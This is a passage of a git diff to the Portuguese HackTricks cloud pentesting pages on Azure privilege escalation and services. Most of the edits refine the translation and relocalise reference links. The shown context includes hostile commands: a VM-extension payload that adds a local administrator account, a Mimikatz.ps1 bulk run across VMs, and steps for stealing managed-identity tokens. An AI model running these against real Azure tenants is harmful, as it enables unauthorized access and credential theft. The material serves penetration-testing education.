sensíveis, permitindo a exfiltração de dados ou a coleta de inteligência para ataques futuros. +Um atacante com esta permissão pode visualizar mensagens de uma Azure Storage Queue. Isso permite que o atacante veja o conteúdo das mensagens sem marcá-las como processadas ou alterar seu estado. Isso pode levar ao acesso não autorizado a informações sensíveis, possibilitando a exfiltração de dados ou a coleta de inteligência para ataques futuros. ```bash az storage message peek --queue-name --account-name ``` @@ -20,7 +20,7 @@ az storage message peek --queue-name --account-name --account-name ``` @@ -56,8 +56,8 @@ az storage queue policy set --name --permissions rwd --expiry 2024- ``` ## Referências -- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 8436cb56b..c5295638f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -139,10 +139,10 @@ az servicebus namespace authorization-rule update \ ``` ## Referências -- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes -- https://learn.microsoft.com/pt-br/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless -- https://learn.microsoft.com/pt-br/azure/role-based-access-control/permissions/integration#microsoftservicebus +- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless +- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index c6ab95b78..d3afce4e9 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -84,7 +84,7 @@ az sql server ad-admin create \ ``` ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" -Com essas permissões, você pode configurar e impor "Apenas Autenticação do Microsoft Entra" em um Azure SQL Server, o que pode facilitar a escalada de privilégios em certos cenários. Um atacante ou um usuário autorizado com essas permissões pode habilitar ou desabilitar a autenticação apenas do Azure AD. +Com essas permissões, você pode configurar e impor "Autenticação Somente do Microsoft Entra" em um Azure SQL Server, o que pode facilitar a escalada de privilégios em certos cenários. Um atacante ou um usuário autorizado com essas permissões pode habilitar ou desabilitar a autenticação somente do Azure AD. ```bash #Enable az sql server azure-ad-only-auth enable \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index dc1a09f5b..e804caa32 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -18,7 +18,7 @@ az storage account keys list --account-name ``` ### Microsoft.Storage/storageAccounts/regenerateKey/action -Um principal com esta permissão poderá renovar e obter o novo valor secreto das **chaves de acesso** das contas de armazenamento. Permitindo que o principal escale suas permissões sobre as contas de armazenamento. +Um principal com esta permissão poderá renovar e obter o novo valor secreto das **chaves de acesso** das contas de armazenamento. Permitindo que o principal escale seus privilégios sobre as contas de armazenamento. Além disso, na resposta, o usuário receberá o valor da chave renovada e também da não renovada: ```bash @@ -38,7 +38,7 @@ az storage account update --name --add networkRuleSet.ipRules value=< ### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete -A primeira permissão permite **modificar políticas de imutabilidade** em contêineres e a segunda permite excluí-las. +A primeira permissão permite **modificar políticas de imutabilidade** em contêineres e a segunda excluí-las. > [!NOTE] > Observe que se uma política de imutabilidade estiver em estado de bloqueio, você não poderá fazer nenhuma das duas ações. @@ -96,7 +96,7 @@ sftp @.blob.core.windows.net ``` ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -Com essas permissões, um atacante pode restaurar um contêiner excluído especificando seu ID de versão excluída ou restaurar blobs específicos dentro de um contêiner, se eles foram previamente excluídos de forma suave. Essa escalada de privilégio poderia permitir que um atacante recuperasse dados sensíveis que deveriam ser permanentemente excluídos, potencialmente levando a acesso não autorizado. +Com essas permissões, um atacante pode restaurar um contêiner excluído especificando seu ID de versão excluída ou restaurar blobs específicos dentro de um contêiner, se eles foram previamente excluídos de forma suave. Essa escalada de privilégio pode permitir que um atacante recupere dados sensíveis que deveriam ter sido excluídos permanentemente, potencialmente levando a acesso não autorizado. ```bash #Restore the soft deleted container az storage container restore \ @@ -112,7 +112,7 @@ az storage blob undelete \ ``` ### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read -Com essas permissões, um atacante pode restaurar um compartilhamento de arquivo do Azure excluído especificando seu ID de versão excluída. Essa elevação de privilégio pode permitir que um atacante recupere dados sensíveis que deveriam ter sido excluídos permanentemente, potencialmente levando a acesso não autorizado. +Com essas permissões, um atacante pode restaurar um compartilhamento de arquivos do Azure excluído especificando seu ID de versão excluída. Essa escalada de privilégio pode permitir que um atacante recupere dados sensíveis que deveriam ser permanentemente excluídos, potencialmente levando a acesso não autorizado. ```bash az storage share-rm restore \ --storage-account \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index ed1e19596..87cddbc6f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -12,7 +12,7 @@ Para mais informações sobre Máquinas Virtuais e Rede do Azure, consulte: ### **`Microsoft.Compute/virtualMachines/extensions/write`** -Esta permissão permite executar extensões em máquinas virtuais que permitem **executar código arbitrário nelas**.\ +Esta permissão permite executar extensões em máquinas virtuais, o que permite **executar código arbitrário nelas**.\ Exemplo de abuso de extensões personalizadas para executar comandos arbitrários em uma VM: {{#tabs }} @@ -78,7 +78,7 @@ az vm extension set \ ``` Você também pode executar outras cargas úteis como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -- Redefinir a senha usando a extensão VMAccess +- Redefinir senha usando a extensão VMAccess ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -157,7 +157,7 @@ Set-AzVMDscExtension ` Hybrid Runbook Worker -Esta é uma extensão de VM que permitiria executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [serviço de Contas de Automação](../az-services/az-automation-account/). +Esta é uma extensão de VM que permitiria executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [Automation Accounts service](../az-services/az-automation-account/). @@ -300,13 +300,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt Esta permissão permite que um usuário **faça login como usuário em uma VM via SSH ou RDP** (desde que a autenticação do Entra ID esteja habilitada na VM). -Login via **SSH** com **`az ssh vm --name --resource-group `** e via **RDP** com suas **credenciais regulares do Azure**. +Faça login via **SSH** com **`az ssh vm --name --resource-group `** e via **RDP** com suas **credenciais regulares do Azure**. ### `Microsoft.Compute/virtualMachines/loginAsAdmin/action` Esta permissão permite que um usuário **faça login como usuário em uma VM via SSH ou RDP** (desde que a autenticação do Entra ID esteja habilitada na VM). -Login via **SSH** com **`az ssh vm --name --resource-group `** e via **RDP** com suas **credenciais regulares do Azure**. +Faça login via **SSH** com **`az ssh vm --name --resource-group `** e via **RDP** com suas **credenciais regulares do Azure**. ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` @@ -343,7 +343,7 @@ az vm identity assign \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` -Então o atacante precisa ter **comprometido de alguma forma a VM** para roubar tokens das identidades gerenciadas atribuídas. Verifique **mais informações em**: +Então, o atacante precisa ter **comprometido de alguma forma a VM** para roubar tokens das identidades gerenciadas atribuídas. Confira **mais informações em**: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm @@ -351,6 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs... +De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite gerenciar o SO do seu recurso via Windows Admin Center como administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 4b58c09ba..5c7078740 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -62,6 +62,6 @@ return func.HttpResponse(val, status_code=200) ``` ## Lista de Serviços -**As páginas desta seção estão ordenadas por serviço Azure. Nelas, você poderá encontrar informações sobre o serviço (como funciona e capacidades) e também como enumerar cada serviço.** +**As páginas desta seção estão ordenadas por serviço Azure. Nelas você poderá encontrar informações sobre o serviço (como funciona e capacidades) e também como enumerar cada serviço.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index 96fd169e0..82d26c89c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -4,15 +4,15 @@ ## Informações Básicas do App Service -Azure App Services permite que os desenvolvedores **construam, implantem e escalem aplicações web, backends de aplicativos móveis e APIs de forma contínua**. Suporta várias linguagens de programação e se integra a diversas ferramentas e serviços do Azure para funcionalidade e gerenciamento aprimorados. +Azure App Services permite que os desenvolvedores **construam, implantem e escalem aplicativos web, backends de aplicativos móveis e APIs de forma contínua**. Ele suporta várias linguagens de programação e se integra a várias ferramentas e serviços do Azure para funcionalidade e gerenciamento aprimorados. Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos planos do App Service. -- Aplicativos nos níveis Gratuito e Compartilhado são executados em VMs compartilhadas. -- Aplicativos nos níveis Padrão e Premium são executados em VMs dedicadas. +- Aplicativos nos níveis Free e Shared são executados em VMs compartilhadas. +- Aplicativos nos níveis Standard e Premium são executados em VMs dedicadas. > [!WARNING] -> Note que **nenhuma** dessas isolations **previne** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**. +> Observe que **nenhuma** dessas isolations **impede** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**. ### Aplicativos Azure Function @@ -22,16 +22,16 @@ Na verdade, alguns dos **recursos relacionados à segurança** que os serviços ## Autenticação Básica -Ao criar um aplicativo web (e uma função Azure geralmente), é possível indicar se você deseja que a Autenticação Básica seja habilitada. Isso basicamente **habilita SCM e FTP** para a aplicação, então será possível implantar a aplicação usando essas tecnologias.\ +Ao criar um aplicativo web (e uma função Azure geralmente), é possível indicar se você deseja que a Autenticação Básica seja ativada. Isso basicamente **ativa SCM e FTP** para a aplicação, então será possível implantar a aplicação usando essas tecnologias.\ Além disso, para se conectar a eles, o Azure fornece uma **API que permite obter o nome de usuário, senha e URL** para se conectar aos servidores SCM e FTP. - Autenticação: az webapp auth show --name lol --resource-group lol_group SSH -Sempre Ativo +Always On -Depuração +Debugging ### Enumeração @@ -87,9 +87,6 @@ az webapp config storage-account list --name --resource-gl_group - - - # List all the functions az functionapp list diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index bf3b1fcbe..ea60f6a86 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -33,6 +33,6 @@ Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ``` ## Referências -- [https://learn.microsoft.com/pt-br/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/pt-br/azure/active-directory/app-proxy/application-proxy) +- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 1d1746e38..8855f1d45 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -4,7 +4,7 @@ ## Informações Básicas -[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestrutura como código para suas soluções Azure**, use modelos do Azure Resource Manager (modelos ARM). O modelo é um arquivo de Notação de Objetos JavaScript (**JSON**) que **define** a **infraestrutura** e a configuração para seu projeto. O modelo usa uma sintaxe declarativa, que permite que você declare o que pretende implantar sem precisar escrever a sequência de comandos de programação para criá-lo. No modelo, você especifica os recursos a serem implantados e as propriedades desses recursos. +[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestrutura como código para suas soluções Azure**, use modelos do Azure Resource Manager (modelos ARM). O modelo é um arquivo de Notação de Objeto JavaScript (**JSON**) que **define** a **infraestrutura** e a configuração para seu projeto. O modelo usa uma sintaxe declarativa, que permite que você declare o que pretende implantar sem precisar escrever a sequência de comandos de programação para criá-lo. No modelo, você especifica os recursos a serem implantados e as propriedades desses recursos. ### História diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md index 5c59fa72d..a35b2feb8 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md @@ -4,14 +4,14 @@ ## Informações Básicas -[Dos documentos:](https://learn.microsoft.com/en-us/azure/automation/overview) O Azure Automation oferece um serviço de automação baseado em nuvem, atualizações de sistema operacional e configuração que suporta gerenciamento consistente em seus ambientes Azure e não-Azure. Inclui automação de processos, gerenciamento de configuração, gerenciamento de atualizações, capacidades compartilhadas e recursos heterogêneos. +[Da documentação:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation oferece um serviço de automação baseado em nuvem, atualizações de sistema operacional e configuração que suporta gerenciamento consistente em seus ambientes Azure e não-Azure. Inclui automação de processos, gerenciamento de configuração, gerenciamento de atualizações, capacidades compartilhadas e recursos heterogêneos. -Esses são como "**tarefas agendadas**" no Azure que permitem que você execute coisas (ações ou até mesmo scripts) para **gerenciar**, verificar e configurar o **ambiente Azure**. +Esses são como "**tarefas agendadas**" no Azure que permitem executar coisas (ações ou até mesmo scripts) para **gerenciar**, verificar e configurar o **ambiente Azure**. ### Conta Run As Quando a **Conta Run As** é usada, ela cria um **aplicativo** Azure AD com certificado autoassinado, cria um **principal de serviço** e atribui o papel de **Contribuidor** para a conta na **assinatura atual** (muitos privilégios).\ -A Microsoft recomenda o uso de uma **Identidade Gerenciada** para a Conta de Automação. +A Microsoft recomenda usar uma **Identidade Gerenciada** para a Conta de Automação. > [!WARNING] > Isso será **removido em 30 de setembro de 2023 e alterado para Identidades Gerenciadas.** @@ -23,20 +23,20 @@ No **código** dos **Runbooks**, você também pode encontrar **informações se Se você puder **ler** os **jobs**, faça isso, pois eles **contêm** a **saída** da execução (potencial **informação sensível**). -Vá para `Contas de Automação` --> `` --> `Runbooks/Jobs/Grupos de trabalhadores híbridos/Tarefas de observador/credenciais/variáveis/certificados/conexões` +Vá para `Automation Accounts` --> `